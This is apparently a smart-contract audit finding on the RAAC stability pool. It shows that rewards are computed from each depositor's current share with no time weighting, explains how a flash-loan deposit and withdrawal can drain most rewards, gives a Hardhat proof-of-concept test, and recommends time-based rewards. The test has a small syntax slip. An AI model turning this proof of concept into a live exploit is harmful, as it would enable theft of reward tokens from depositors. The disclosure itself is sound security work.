When user withdraws from the stability pool, he gets minted RAAC rewards based on his deposit in the pool.
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}
Since calculations do not take into account time spent in the pool, it's possible to steal all of the rewards. This can be achieved by flashloaning a large sum of tokens, depositing and withdrawing in the same transaction. Because calculations use this formula to compute rewards: (totalRewards * userDeposit) / totalDeposits
, the user taking a flashloan will have the biggest share of the pool at the time of rewards calculation and, thus will steal most if not all of the rewards.
User can steal RAAC rewards.
describe("sl1", function () {
it("allows stealing all of the rewards", async () => {
const depositAmount = ethers.parseEther("1000");
await crvusd.mint(user1.address, depositAmount);
await crvusd.connect(user1).approve(lendingPool.target, depositAmount);
await lendingPool.connect(user1).deposit(depositAmount);
await rToken.connect(user1).approve(stabilityPool.target, depositAmount);
await stabilityPool.connect(user1).deposit(depositAmount);
await ethers.provider.send("evm_increaseTime", [86400 * 10]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
const user1Rewards = await stabilityPool.calculateRaacRewards(
user1.address
);
console.log(
"First user's rewards before the deposit of another user",
user1Rewards
);
let raacBalanceUser2Before = await raacToken.balanceOf(user2);
expect(raacBalanceUser2Before.toString()).to.equal("0");
const depositAmount2 = ethers.parseEther("1000000000");
await crvusd.mint(user2.address, depositAmount2);
await crvusd.connect(user2).approve(lendingPool.target, depositAmount2);
await lendingPool.connect(user2).deposit(depositAmount2);
await rToken.connect(user2).approve(stabilityPool.target, depositAmount2);
await stabilityPool.connect(user2).deposit(depositAmount2);
console.log(
"First user rewards after another user deposits:",
await stabilityPool.calculateRaacRewards(user1.address)
);
console.log(
"Second user rewards:",
await stabilityPool.calculateRaacRewards(user2.address)
);
});
};
Calculate rewards based on time spent in the pool.